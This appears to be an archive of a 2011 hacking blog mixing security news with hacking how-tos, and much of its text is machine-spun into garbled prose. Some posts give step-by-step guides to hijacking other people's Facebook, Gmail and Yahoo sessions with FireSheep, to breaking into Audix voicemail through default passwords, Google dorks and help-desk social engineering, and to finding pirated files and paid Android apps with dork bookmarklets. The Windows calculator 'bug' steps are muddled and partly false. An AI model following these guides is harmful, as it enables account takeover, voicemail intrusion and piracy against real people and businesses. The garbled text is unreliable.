Kevin Mitnick's innovative e book, Ghost while in the Cable connections: This Excursions as being the Global A lot of Sought Hacker, points work around hacking this started off by using fiddling by using coach bus goes over for a person in his teens. This ended in a deep affinity for the content labeled "phone phreaking" -- manipulating a clicks plus surroundings while in the cellphone procedure so that they can make an array of mischief.

"A companion around twelfth grade appeared to be your cellphone phreak, inches your dog suggests. "It's for instance hacking the iphone procedure. David Job opportunities plus David Wozniak achieved it around missed '70s in advance of people based Apple inc Laptop, this appeared to be a forerunner so that you can hacking. The following children around twelfth grade proved people interesting elements your dog may possibly conduct by using cellphone, like public archaeologist to receive information and facts. inches

Public archaeologist like for example identifying what sort of human being could interact inside of a supplied problem and after that working with this temptation so that you can encourage them to conduct just what exactly you should do. Employing exact plan regarding loads of modern phishing swindles, suggests Mitnick.

"Imagine if you ever got your. pdf file data originating from a source, litigant, your vendor, inches your dog suggests. "And you actually made available this. pdf file data, books ended up being pregnant them that they are a little something related to business enterprise. And you simply spotted gibberish. Just what exactly might you assume taken place? Just what exactly can happen then is definitely, while you wide open a. pdf file, them intrusions your vulnerability around Adobe Acrobat this is parked , on your hard disk and already a hacker entirely in control of your laptop or computer and can even discuss with alternative pc's to the multi-level. inches

Nonetheless can your hacker have that individual amenable a. pdf file from the beginning? "Imagine you will have a aim for in the enterprise. You decide to do loads of information and facts recon. Would you the following human being seek advise from? Just what exactly prospects, just what exactly dealers, just what exactly providers, that which ınner people today along at the enterprise? Sometimes checking out web sites, LinkedIn, Youtube, Twitter. Who sadly are its associates? And after that informed start information and facts, you could possibly give a message and also spoof the e-mail it appears them originate from somebody, colleague, originating from a business enterprise get hold of, as well as human being is going to extremely probable wide open your. pdf file bond. inches

Mitnick suggests online criminals into the future will likely not accept pc's. "I assume the fresh target-rich ecosystem is definitely cellular phones, inches your dog suggests. "So, you are aware of in advance of, you felt the need so that you can keep worrying about your laptop or computer remaining scratched, nonetheless at this moment it's important to keep worrying about a person's Mobile, apple company iphone, Mobiles remaining hacked owing to a great deal of vibrant home elevators now there -- business banking testimonials, security passwords for your personal enterprise, very own e-mails. Consider in lieu of asking for a CFO's laptop at work, endeavoring to get into on the CFO's mobile plus looking for ways to admission to all those financial records this will not be consumer. And already recently includes antivirus program ended up accessible for cellular phones. Therefore, the basic safety products and solutions are found developing to support people today mitigate chance this they're going to often be scratched. inches

As well in such a application, your online game generates you actually style by using quickness plus correctness to protect yourself from desperate inside of a nasty aeroplanes failure.

How to Hack Updated Seas0nPass For Apple TV 4.3

2011-08-21T18:41:00.001+05:00

FireCore has got revealed some sort of refreshed variant within their jailbreaking program – Seas0nPass to help with untethered jailbreak meant for Piece of fruit TV FOR PC 3. 3 software programs redesign meant for following iteration Piece of fruit TV FOR PC...

Piece of fruit have revealed Piece of fruit TV FOR PC 3. 3 software programs redesign early during the four weeks so as to add being able to order Shows on tv regarding Piece of fruit TV FOR PC 2G, re-download until now picked up Television show material and likewise help support meant for video tutorial provider Vimeo.

FireCore constructed any headline within the different variant for Seas0nPass on their webpage:

Seas0nPass has long been refreshed to help with some sort of un-tethered jailbreak within the different AppleTV 3. 3 (8F455) software programs. A great kudos would flow to comex meant for being able to help opening any Saffron jailbreak into the AppleTV. To your uninitiated, Seas0nPass stands out as the least complicated jailbreaking program readily available any AppleTV, and also earliest to help with the popular 3. 3 variant.

Jailbreaking Piece of fruit TV FOR PC 2G facilitates clients to put aTV Show (ebony), which unfortunately develops different options into the following iteration Piece of fruit TV FOR PC this includes: online surfing, Survive. FM connection, small help support meant for HTML5 video tutorial online websites, river newspaper and tv with the majority NAS tools together with substantially more.

FireCore at the same time continues to rollout benefits into the newspaper and tv footballer the fact that is available bundled utilizing aTV Show (ebony). They need revealed an innovative variant, this includes this particular different options together with benefits:

Put in even more subtitle encoding choices
Put in subtitle opportunities (specifications, colors, border)
Put in help support meant for folder take care of talent
Better mp3 path sensors
Better AFP/SMB exploding
Better segment help support
Better. srt subtitle help support
Better subtitle configuration settings (constant)
Better MOVIE playback together with dishes working with
Better looks for Loading/Buffering compartment
Remedied goes to hell anytime planning to connection a good broken/unavailable publish
Remedied complications regarding demonstrating metadata
Many other miscellaneous fixing

You could download and install the new variant for Seas0nPass together with operator guidelines for seas0npass.com..

How Android Keylogger Hack Work

2011-08-20T22:47:00.000+05:00

A couple College or university connected with Colorado safety measures analysts designed a Operating system request termed TouchLogger that could fit this phone's vibration when people attack some sort of touchscreen technology critical while using the unique critical people attack...

That has a 60 to 70 percentage reliability pace, TouchLogger is effective to be a keylogger of which never ever should basically history this keystrokes people produce with your Operating system product. The item solely desires someone to allow the item concur make use of this motions sensors, which should allow it to become noise somewhat protected.

Many reports of merely one type (Beta 0. 981) on the activity Pet Wars is additionally corrupted while using the "Dogbite" trojan viruses of which posts some sort of text message to help all people with your call number of which states that "I like injuring modest dogs, simply just idea to consider of which. inch

Furthermore, it makes an attempt to help warning anyone in place intended for word notifies by Persons with the Honorable Treatment method connected with dogs.

Which enables this spyware be understood as some sort of political stunt by PETA aimed towards persons enacting exclusive physical violence with pets (nevertheless almost any physical punishment need to be for any person taking part in "Dog Wars" devoid of learning certainly of which pets usually are incapable of large-scale physical violence for the reason that at this time there would not sufficient advisors prepared give up eating, sleep, sniffing 1 another or maybe pursuing stuffs that looks like many people migrated, although decided not to for getting virtually any authentic beat intending).

Spyware internet writers usually are losing sight of the strategy to produce political details applying spyware, nevertheless, in line with Symantec.

Just one type on the settled version on the Go in addition to Word request – which often sets off this video camera within the returning area on the cellular phone to help you to view within the tv screen where by you will be intending because you thumb-type with all your scalp decrease – posts some text available to every one ones acquaintances indicating people get application illegally by unauthorized web-sites.

Symantec analysts don't think PETA or maybe another animal-rights collection received whatever to do with pet Wars trojan viruses (or maybe this Go in addition to Word, even).

"In revenge of the fact that several indicators are found lacking, we have now not any motive to think of which PETA received whatever to do with that request, in addition to it's possibly the effort connected with another person seeking to link this request having PETA so they can attain compassion because of the affiliation, inch this document claimed.

Many performed advocate there could possibly be far more endeavors on affecting political or maybe social-issue imagining by employing corrupted mobile devices to help post qualified announcements in addition to embarrass the entrepreneurs.

Spyware internet writers may not be well known intended for giving popular political stances, in spite of the unsurprisingly pro-PETA chop.

In the event there exists the one thing spyware internet writers cherish, it truly is having settled. Due to the fact that had been this gist on the Go in addition to Word spyware tip – shameful people that get application devoid of finding cash for the item – organic meat view far more of their by business oriented request coders along with the Small business Application Alliance likewise.

This BSA possesses many lobbying postures, although having settled if you can , with regards to application would be the just one nearest thing to help whatsoever the item works by using for just a cardiovascular system.

Crack Down of Apple Products

2011-08-19T16:29:00.000+05:00

Within the constant challenge next to brand encroachment, Apple company company possesses filled out a lawsuit next to a couple suppliers connected with knockoff Apple company company gadgets within this Ny city local community connected with Flushing, Queens, in line with docs unsealed Thurs . with Brooklyn fed judge...

This defendants -- Apple company company Report in addition to Enjoyment Region, both equally had by means of Big apple person Janie Po Chiang -- usually are offender connected with advertising unauthorized mp3, new iphone 4 in addition to apple ipad tablet gadgets brand while using the businesses iconic brand in addition to trademark markings in addition to keyword phrases available on true Apple company company merchandise, as well as "Designed by means of Apple company company with Colorado. Set up with China and taiwan. inch

Apple company company is additionally wanting to know of which Apple company company Report possibly be requested to vary it is label to reduce bafflement connected with models involving people.
Apple company company claimed acquiring directed staff towards a couple counterfeit hawkers you want, where by many people obtained a mixture of unauthorized gadgets, as well as music headsets intended for work with while using the new iphone 4 of which got with appearance that had been "nearly a definite duplicate" towards first appearance.

The way it is seemed to be filled out with September 20, although hasn't been manufactured open until finally Thurs ., caused by a U. Ohydrates. brand counterfeiting rules that allows a corporation to help originally data file some sort of brand encroachment grievance within closure, as a way not to ever word of advice down offender perpetrators previous to things are seized.
On Apple's ask a preliminary injunction, U. Ohydrates. Center Appraise Kiyo Matsumoto possesses requested both equally outlets to quit advertising counterfeit things. They have definitely not still supplied a obtain with no matter if Apple company company Report have to transform it is label.
Certainly connected with it is different needs, an important intended for Apple's assignment to help stamp available knockoffs can be it is demand to obtain an extensive directories of folks in addition to firms with ordered or maybe available counterfeit things. This company has become awarded having access to this defendants' small business mail reports, where by proof of like small business specials can be located.
That event happens for a pivotal time period intended for Apple company company, acquiring not long ago transferred Exxon to be by far the most precious corporation on this planet in addition to acquiring likewise transferred Lenovo with larger China and taiwan gross sales.
Almost like counterfeit things are not plenty of to manage, Apple company company has also also been struggling with the shutdown connected with bogus Apple company company outlets with China and taiwan, one among it is almost all ensuring promotes.

volunteer program for security professionals

2011-08-18T20:59:00.000+05:00

Arthur Extended was once identified regarding Yahoo hacking--finding prone computers on the net making use of certain keyphrases....

Today he has supporting humanitarian teams, avenue youngsters, and also law enforcement officials inside Uganda discover ways to utilize personal computers and also retain destructive cyberpunks away from their particular methods, along with complementing some other details safety specialists to be able to benevolent organizations that want aid.

Extended, which started out the particular Cyberpunks regarding Charitable organization not for profit inside '08, introduced a fresh system on the DefCon hacker convention the following this kind of saturday and sunday in which he has contacting InfoSec with out Is bordered by and also which can be modeled following your Medical doctors With out Is bordered by system.
"The volunteers are usually specialists on the market today and so they use a company responsibility" and also desire to aid residential areas inside will need, this individual mentioned. "We desire to aid information in which simply by serving inside benevolent organizations that individuals display screen. inches
Long's not for profit gives totally free personal computer education to be able to any person who would like that, repairs personal computers, gives technical support to be able to nongovernmental agencies (NGOs), and contains provided 1000s of family members by means of the "food regarding work" system.
"We've qualified avenue youngsters, the particular Ugandan law enforcement officials, authorities officers, Reddish Combination staff. We have been wanting to boost the degree of complex power to offer not really a program, yet careers, inches this individual mentioned in a meeting last night. "We have got offered personal computer education to be able to a lot of people which acquired zero backdrop inside. Today they've got careers and so are carrying out things such as phrase running, business office wedding party... understanding that sort of perform is quite properly paid out as the swimming regarding sources there is certainly thus tiny. inches
Cyberpunks regarding Charitable organization provides 25 staff and also 1000s of volunteers around the globe. "We've recently been totally appreciated from the hacker local community, inches this individual mentioned, incorporating that most the particular group's money arises from cyberpunks.
For many individuals, the phrase "hacker" conjures upwards photos regarding undercover scammers which crack directly into sources and also take bank card info or perhaps the particular Private and also LulzSec teams which can be actually on the web activists explained simply by seasoned cyberpunks since "script kiddies" which utilize computerized equipment as well as other a smaller amount superior ways to locate and also make use of pockets inside computer software. Yet a real hacker will be pushed simply by mental awareness plus a concern and contains any want to learn engineering and discover fresh makes use of because of it.
Inside Uganda, there exists a fresh classification because of Long's perform.
"The classification regarding 'hacker' inside locations we all perform inside Uganda provides altered to be able to 'aid member of staff, '" Extended mentioned. "They don't possess the theory in which cyberpunks are usually scammers. They will notice us all since personal computer magician support staff. Which is one of many root items I desired to perform together with Cyberpunks regarding Charitable organization, to improve the particular notion. There were recently been defined as any legal local community and it's really not necessarily honest. inches
Inside the 1990s, Extended worked well with Personal computer Sciences Firm and also developed the Affect Push weeknesses examination staff. Although right now there this individual particular inside making use of Yahoo to get computers which can be at risk of strike, web sites revealing hypersensitive info just like Sociable Safety quantities and also account details as well as other items organizations probably would not need available by means of search engines problem.
Right after his / her better half proceeded any vision (they may be equally Christians) to be able to Uganda inside 2006 and also contributed just what the lady acquired noticed, Extended travelled right now there and also would offer personal computer fix benefit a great NGO whoever virus-laden personal computer method has been "a mess" and also has been working against the particular corporation's power to record benefits and stay successful.
"The influence has been quick. The particular NGO has been on a lawn and also ready to go inside a couple weeks, and also serving youngsters the afternoon we all still left. The past factor they will thought to us all has been 'you stored lifestyles, '" this individual mentioned. "That totally minted myself when I obtained returning to actuality it absolutely was almost all I really could think of. I desired to utilize in which program to have folks connected directly into in which experience of accomplishing one thing optimistic, also to give you a optimistic way regarding cyberpunks. inches
"It's hactivism simply by classification, inches Extended mentioned. "It's making use of engineering to generate sociable modify, yet oahu is the initial illustration regarding optimistic hactivism We have noticed. inches
Questioned when folks playing on the web activism arranged from the Private party have been hactivists, Extended mentioned: "It is dependent upon the outcome regarding just what they may be carrying out. Together with Sony's web site taking place, you can view the particular quick result of these activities. Yet regarding sociable modify, the particular political effect they've, how will you determine in which? A prosperous hactivist should be able to determine equally. Professionally, We have problems since influence. inches
Cyberpunks regarding Charitable organization is situated inside Jinja, the "stone's chuck from your way to obtain the particular Nile" as well as the next greatest community inside Uganda. Long's household works any bistro getting somebody to cook to be able to American likes regarding visitors which may wish an alteration from your common ticket regarding goat dairy and also hemp. Website visitors "will use a milkshake and also burger and they'll fall off their particular notebook to get a $20 fix, inches this individual mentioned.
Lots of people are usually weak and also consider offense to be able to make it through. Long's family--including his / her a few youngsters which range inside age group coming from eight to be able to 15--live in the gated ingredient together with barbed line and also a great provided shield. "We have got cafes about each windowpane and also entrances about each front door, inches this individual mentioned.
A lot of the offense inside Uganda will be robbery, this individual mentioned. Personal computer safety will be almost non-existent, understanding that with the low income will be traveling scammers on the web, in accordance with Extended, that is supporting instruct the particular Ugandan law enforcement officials on what to analyze sets from economic and also lender fraudulence to be able to bank card skimming and also on the web frauds.
"Criminals notice this kind of being a mud package to be able to enjoy inside, inches this individual mentioned. Besides the perform Cyberpunks regarding Charitable organization can, Extended furthermore operates instructing the authorities concerning details safety and also linking these to professionals inside the You. Azines. "It's simple education with all the law enforcement officials right now there in which can cause trained in things such as forensics, this individual mentioned. "We could work about situations, yet we have been furthermore discussing any technology regarding cyber police in the spot which includes minimal facilities. It really is special. inches
Extended will be anxious in which Uganda can grow to be one more Nigeria, which can be identified inside the world wide web because the birthplace with the Nigerian con or perhaps "advance payment fraudulence, inches which usually characteristics e-mails from your "barrister" which promises to be able to be unable to accessibility a big sum of unclaimed funds with out usage of any bank-account in the american region and will be offering a share with the funds regarding aid. Simply by supplying totally free personal computer education as well as other aid Extended expectation to aid crack the particular routine regarding low income with out folks being forced to grow to be on the web burglars.
"If one thing won't modify Uganda can be one more Nigeria inside the perception in which scammers can use the engineering initial, inches this individual mentioned. "We're wanting to brain in which away from since finest we could. inches.

Hacker Conference found Sophos Antivirus Flaws

2011-08-18T20:28:00.000+05:00

A researcher present at the Black Hat participated Sophos antivirus and found it lacking in several areas, leaving him vulnerable to attack or bypass - something he says could be applied to other publishers of 'antivirus' as well, but it just does not see....

Tavis Ormandy of the Google works as a researcher, said that he intended to turn the product and found, among other things:

The key used to encrypt some data is stored in the data, which is relatively easy to dismantle.

The buffer overflow protection works only on Windows platforms prior to Vista.

Signatures Sophos choose to identify the virus is low and can be generated independently from Sophos, which allows users to flood with false positives.

For its part, says Sophos Ormandy discussed the work with him before he presented, and on the basis of these negotiations is to make some changes.

The company has eliminated mercury in a weak encryption algorithm, which concludes, therefore, does not use encryption, nor is it intended to maintain the confidentiality of the information first. Rather, the encryption is the only purpose of limiting Sophos updates as other security products of the Sophos database incorrectly identifies the data stored as harmful, if current patterns of malware has become visible.

The company is taking another look at the buffer overflow protection. This buffer overflow protection dropped after Windows Vista, as and later operating systems, including the protection of Windows buffer overflow of their own, as they were vulnerable.

A company spokesman, Graham Cluely says Sophos believes the work Ormandy an audit program.

A Cluely butted heads with Ormandy Ormandy before the release of a Microsoft vulnerability, which was then used in real-world implementations. Cluely Ormandy scolded in a blog.

Ormandy said his analysis of Sophos Anti-virus is not related to this incident, and he chose Sophos random as it was available.

Ormandy said shortages similar to Sophos may also have other anti-virus software, but it is impossible to know without any reverse engineering and analysis, says he is doing. "I move to something more interesting," he says. "I'm pretty tired of it."

While Ormandy works for Google, he says he has researched Sophos independently on his own time.

The problem with all the antivirus vendors, he says, is that they are doing their work in secret, without peer review, which eliminates a step which could make a stronger platform. The basic principle of security is to assume that the attackers know all the defenses, and then build, so that they can not win anyway. Public review helps you find defects, which can then be fixed, rather than forcing them to remain vulnerable.

He said that antivirus software generally can not catch the virus after having done evil, and preventive measures will be more effective. Antivirus software in all its complexity increases the possibility of attacking the machines of end users and as such creates several potential problems.

Sophos said the analysis to examine Ormandy Cluely antivirus software components, without analyzing whether, overall, the software does its job. "It tests your ability to stop malware. This is to test the quality of code," he said. "He's right. We could probably do better."

Hacker Drone Highlight of Hacker Conference

2011-08-18T19:55:00.000+05:00

Anyone who is confident in their own safety, make a stop at the Black Hat and Defcon conferences Security researcher annual convention in Las Vegas....

Participants include security professionals, interested amateur, officials, and more. Many of them come together to learn and draw inspiration from them to make technology things that most people do not expect.

One of the Chris Paget, who last year showed a device that acts as a cell tower to intercept your communications during becomes reality. As described in Wired, the inspiration of Mike and Richard Perkins Tassey to integrate design in one of the Designs standout at this year's Black Hat 2011 Wednesday: the WASP, a do-it-yourself drones.

WASP stands for mobile air monitoring platform, and the title goes a long way to describing the device, unlike many officers military projects. Also note the price: for a mere $ 6000, the two hackers have managed to assemble a fully functional remote controlled unmanned aircraft that can take over your Wi-Fi or cellular communication - without insurance, you may think they are. The wasp can crazy phone encryption, and passwords can brute force with its top-340-word dictionary. Also integrated into the GPS and Google, the WASP is fully able to fly a preprogrammed course, when the operator is at altitude.

Robbers hack ATM

2011-08-15T05:20:00.000+05:00

Two robbers Saturday allegedly chopped off the hand of a security guard at an ATM, when he resisted their attempt to rob bank officials who were leaving after loading cash into the machine....

The motorcycle- borne robbers tried to grab a box the officials were holding, prompting guard Chandramurthy to rush to their rescue. But they chopped off the guard’s right hand and fled with the box, which was empty, police added.

Hacker use Facebook Account to Hack Bank Account.

2011-08-15T04:10:00.003+05:00

Iain Wood used up to 18 hours per day online, working out passwords from personal information posted on social networking sites by his acquaintances....

People living in his block of flats are target in a complex fraud and used his friends' personal details to get past security checks and hack into their bank accounts. He steal more than £35,000 over two years which he blew on gambling.

His scam only came to an end when he became over-confident and changed his system and the authorities were alerted.

Judge Guy Whitburn Jailed him for 15 months. He said : "This is the first time I've come across a sophisticated fraud such as this, it was very well planned, complex and clever.

"He was using other people's identities and there was a considerable breach of trust in assuming his neighbours' identities.

"It is an extremely bad deception on people in the same block of flats as he. People's blood runs cold when they see money taken from their accounts."

Wood, 33, was living at Pandon Gate House, on City Road in Newcastle's East End, at the time of the offences, which went on between June 2008 and June last year.

He had got away with his fraud until he dropped his guard and changed his operation by directly transferring money out of one neighbour's account directly into his own, in November 2009.

When the victim was contacted over the withdrawal of £1,500, he realised he had been the victim of a fraud and the police were called.

At that stage the police thought it was a one-off, but when they arrested him Wood blurted out "Have you been on to me for a while?"

A subsequent search of his flat found a variety of bank account pin numbers, someone else's passport, bills and other paperwork, much of which he had taken from the post boxes of other residents in the block.

He admitted hacking into various bank accounts, most of them dormant, and intercepting other people's post when interviewed by police.

Neil Pallister, prosecuting, said: "He said he had figured out how to access online bank accounts.

"He would go on and say he couldn't remember the password and would be asked security questions about date of births and mother's maiden names and he was able to give correct details in some cases.

"He said he would be on the computer 18 hours per day to find out information about people on websites such as Facebook and Friends Reunited.

"He would make friends with people on Facebook and have got their usernames he would try it on the bank websites, on the basis people use the same passwords.

"If that did not work he would fill in the security information which he had got from Facebook and Friends Reunited."

On the occasions he successfully got access to the bank accounts he would change the address details and intercept the cards and take out cash.

Although most of the accounts he targeted were dormant, he was able to exploit the overdraft facility before anyone realised.

Wood, who runs a carpet fitting business, pleaded guilty to seven counts of false representation and asked for a further six similar offences to be taken into account.

How to protect secret information

2011-08-06T18:17:00.002+05:00

Firefox addon called HTTPS Everywhere which encrypts your connection. For instance when you visit websites you are visiting them unencrypted or unprotected....

This is because your visiting sites using HTTP. But, for example on websites where you have to enter private info like Credit Cards, Social Security, they change HTTP to HTTPS.

What this basically means is that no one will be able to steal your info because its secure and encrypted.

It will protect you from being hacked by FireSheep, which is used by people for the wrong things.

How to Hack Facebook Yahoo Msn and Gmail Account on LAN

2011-08-06T17:59:00.001+05:00

A Firefox addon called FireSheep hi-jacks other peoples session and lets you use it. For instance close to all sites on the web store cookies on their servers...

Now I am not talking about the chocolate chip type of cookies. These cookies save your preferred settings for sites, while other cookies have your username and password on them.

To break into someones account just open up FireSheep, click ‘Start Capturing’ and it will list all the users in your network that are currently logged on. For instance sites like GMail, Yahoo and Facebook will most likely appear.

So all you would have to do to is double click on a name or icon in FireSheep and I can access your account. All I did was steal your cookies and tricked the site into allowing me to log in.

From here I can do what ever I want. Post on your wall, message someone, or if I wanted even change your password. All this without me ever knowing what your password was and without leaving a trace.

Now before you go bashing on FireSheep, the creator of made it to warn sites like Facebook to cover holes in the sites and to stop HTTP session hi-jacking. Even though people might use it for wrong, that was not the original intention for it.

Hack your Optimized google Search

2011-08-04T18:57:00.000+05:00

Using JavaScript you can hack google search results for your own advantage. In this post I would be providing 5 java scripts which you can use to download Songs , Ebooks , Images , Applications and Games....

To use the Javascript, Just copy the code and paste it in the address bar of your browser ( the same place where you enter the url of any site) and press Enter.

Script 1 :- Download any Song

javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'ENTER ARTIST OR SONG NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+mp3+OR+wma+OR+ogg+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’

Script 2 :- Download any Ebook

javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'Enter Author name OR Book name:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+pdf+OR+rar+OR+zip+OR+lit+OR+djvu+OR+pdb+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’

Script 3 ownload any Image

javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'ENTER IMAGE NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+jpg+OR+png+OR+bmp+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’

Script 4:- Download any Application

javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'ENTER Application NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+exe+OR+rar+OR+zip+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’

Script 5:- Download any Game

javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/‘,’ENTER GAME NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+exe+OR+iso+OR+rar+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’

How to Hack Bug in Window Calc.

2011-08-04T18:22:00.002+05:00

This works with all versions of Windows. without any more discussion, let mus proceed to the bug. you have probably used square root button in windows....

It is possibile that you might have come across this bug. If not, you are just about to know it..

Just follow the steps:-

Open calculator or Goto run and type – calc

Now type the following

Type 4
Take its square root by using the square root button,
Now you will get 2. Subtract 2 from it.
The answer should have been 0 but its not. You would have got a long number as your answer.

Here is the general syntax to this bug.

Take Any number
Take its square root
Subtract its square root from it
Your answer is not 0.. That’s the bug.

Probably this was something new for most of you out here.

Want to learn more from us, make sure that you subscribe to MrCracker at tope of page and get regular updates on your email id.

You may also follow MrCracker on Twitter by clicking over here and our Facebook Fanpage by click over here to update with important stuff.

How to Hack Formatted Content In WordPress

2011-08-04T17:33:00.000+05:00

Today I am going to write about how can we get formatted content by get_the_content wordpress function. This function can be used in loop and by this function we can get content in one variable and can be print it later....

But when we use this function the content it returns is not formatted. So many times it happens that we need to use this function and also want formatted content. So below is how can we get formatted content via get_the_content function.

First open your functions.php file exists in your theme folder and paste below code anywhere in your functions.php file.

1

2

3

4

5

6

function get_the_content_formatted ($more_link_text = '(more...)', $stripteaser = 0, $more_file = '') {
$content = get_the_content($more_link_text, $stripteaser, $more_file);
$content = apply_filters('the_content', $content);
$content = str_replace(']]>', ']]>', $content);
return $content;
}

In above function we use get_the_content function in first line and in second line we use wordpress filter which is using the_content on $content variable , So we will get formatted content by this function. So after putting this in functions.php, Wherever you want to use formatted content then use get_the_content_formatted() function as given :

1	`echo` `get_the_content_formatted();`

I hope this will helpful to you. Please let me know if you have any question.

How hackers access Austrian bank data

2011-07-26T04:16:00.001+05:00

Anonymous Hackers accessed the Australian bank data of 96,000 people in an attack on the website of the country's GIS television licence agency, officials said on Monday....

The hacker group, which was targeted last week by US authorities in a crackdown that included 16 arrests, managed to access 214,000 records with personal data during an attack on Friday.

Banking data of 96,000 people was among these records on the GIS server.

GIS spokesman Herbert Denk said. "We have already started to inform all the clients concerned personally and advise them to monitor especially closely all their bank account movements,"

The federal security and counter-terrorism bureau (BVT) was investigating the attack and planned to file a complaint against unknown persons, GIS added.

The Anonymous hackers had also recently attacked the websites of Austria's far-right Freedom Party and the Social-Democrats of Chancellor Werner Faymann.

How to Download Paid Android Apps for FREE!

2011-07-25T23:34:00.003+05:00

Its a simple way to downlaod Android Apps for Free. Follow the steps below to download it on your Android Phone ...

Basically what you do is do a Google search for any .apk files. For example, if you wanted an app called Picaso, do a Google search for Picaso.apk.

Download the apk file, copy it to your phone’s SD card, then use apkInstaller to install it, and voila!
Or you can also download the .apk file straight from your phone’s browser too.

This should work the same on any kind of Android-based phone including Nexus One, Droid.

You can also read How to Install .Apk Files on your Android Phone for more clear directions.

This Post is for informational purposes ONLY!

Apologize for phone hacking scandal by News Int'l

2011-07-15T17:10:00.002+05:00

News Int'l will run advertisements in major British newspapers to apologize to the nation for the phone hacking scandal, James Murdoch says....

Scrambling to get on top of the crisis, the company will follow this up in the future with communications that address "the wrongdoing that occurred."

Murdoch heads the international operations of the New York-based News Corp. and has been considered to be the heir apparent to his father, Rupert Murdoch.

A Stolen Life

Hackers Attack Apple,Fox News and Twitter.

2011-07-06T13:45:00.002+05:00

Hackers exposed numerous email and password combinations related to Apple and infiltrated a Fox News' Twitter account, sending out several tweets falsely claiming that President Obama had been assassinated ....

As America celebrated its independence, hackers took control of the Fox News' Twitter account and tweeted six messages to @foxnewspolitics' 34,000 followers stating that the president had been killed early Monday morning, according to Fox News.

The tweets, which were noticed about 5 a.m. EDT, were deleted after Twitter suspended the account around noon and returned control of it to Fox News. The news outlet was unable to access the account for hours as the hackers changed the password once they were in.

The news network addressed the intrusion in a post online and said it was working with Twitter to figure out what had happened.

"We will be requesting a detailed investigation from Twitter about how this occurred, and measures to prevent future unauthorized access into FoxNews.com accounts," said Jeff Misenti, vice president and general manager of Fox News Digital.

[Updated, 12:15 p.m., July 5: "The network was not in control of the account once it was hacked, and Twitter was unreachable until late morning eastern time yesterday," Misenti said. "The tweets were taken down as soon as Twitter gave back control of the account to the network."]

Hackers of the online activist group Anonymous went after tech leader Apple a day prior.

A Twitter account associated with the group made a tweet Sunday implying that Apple could be a future target of a larger hack attack as it also linked to a document on PasteBin with a list of emails and passwords.

"Apple could be target, too," the tweet read. "But don't worry, we are busy elsewhere."

For the record, 12:15 p.m., July 5: An earlier version of this post stated that hackers of a Fox News Twitter account had tweeted five messages. They tweeted six messages.

For the record, 2:01 p.m., July 5: An earlier version of this post stated that a cyber attack targeting Apple Inc. exposed a list of email and password combinations. The list was of user and password combinations.

How to Hack Audix Voicemail Systems

2011-05-29T02:37:00.002+05:00

When doing reconnaisance you should always be aware of the information you have already found, and how it can be used. Thats where an employee directory comes in handy....

Many top businessess use the Audix voicemail system so knowledge of the system is invaluable. Now every Audix system hassomething called a system number which is what you will call to access your voicemail remotely. The only thing you will need to access someones voicemail is their extension, and the password they chose for their voicemail.Just like in any other situation we will try basic passwords ( remember a password can be between 4-15 digits).The most common passwords used are 1234,12345,123456,birthdays,anniversaries, and the extension itself.

Many schools/businessess publish their audix systeminstructions for their employees. These files tend to contain data such as system numbers, extensions, and default passwords.Now these could be difficult to find by random searching, but you’re in luck. I have created a google dork which hasvery good results “inurl:audix system instructions”, and useful but not as effective “intitle: audix setup instruction”.

Well there is a number of ways the easiest, and if done properly most successful is tosimply social engineer it. People forget these numbers constantly so find an employee’s name ( for maximum success choosesomeone who isn’t ranked very high.) You will need the help desk number to which is easily found, it is normally the contact number. What you say is up to you, but remember your goal is to gain the system number; so your best bet is to saysomething like you’ve never had to access your voicemail outside the office, and you’re unsure of which number to call.

If the social engineer methods fail there is one more that is hit and miss. Improperly configuredAudix systems will allow you to access the system directly as if you were calling the number. Now the easiestway to do this is to call as many numbers as you can after hours, so no one answers, and try hitting 0,# or *. Now what you are lookingfor is something about the Audix system, and if it works you will hear a message about dialing to another extension. That is when youchoose the correct number, and try different extensions, and passwords.

New Android app released for select HTC phones, Samsung Nexus S

2011-05-29T02:29:00.001+05:00

It looks like the LG Revolution won't be the first Android phone to get Netflix after all...

The app has just hit the Android Market and is apparently available for the HTC Incredible, Nexus One, Evo 4G, and G2, plus the Samsung Nexus S. As you might expect, there's not much in the way of surprises in terms of functionality -- you can resume watching where you left off on your TV or computer, and you can browse movies and manage your instant queue on your phone.

Stay Tuned on Potential Amazon Tablet

2011-05-13T00:29:00.000+05:00

Amazon CEO Jeff Bezos didn't confirm a Samsung-built tablet today, but he's not saying no -- in fact, the tell-it-like-it-is founder of the massive e-tailer suggested quite the opposite in an interview with Consumer Reports...

"Stay tuned" was the answer, and then Bezos told the publication that if such a device were on the way, it would be complementary to Amazon's existing Kindle, as Bezos doesn't want to disturb the market for that "dedicated reading device." If we were to read between the lines -- which is often a bad idea -- we'd say that could pave the way for an Amazon tablet to launch without a sunlight-readable screen, but it could just be that a tablet would be pricier, while the Kindle could remain relatively cheap. Speaking of E Ink, the CEO said that a color version "is not ready for prime time." As of January, we'd agree.

FB 'Likes' are being hacked for Osama bin laden shoot out video

2011-05-03T17:40:00.003+05:00

Facebook 'Likes' are being hacked for Osama bin laden shoot out video while attracting people to a video that they say it is real osama bin laden shoot out video in military operation in Abbott Abad in Pakistan.Although there is no video found on their given url...

You most probably found a link on your wall by any of your friends with an image of dead osama bin laden with damaged eye.

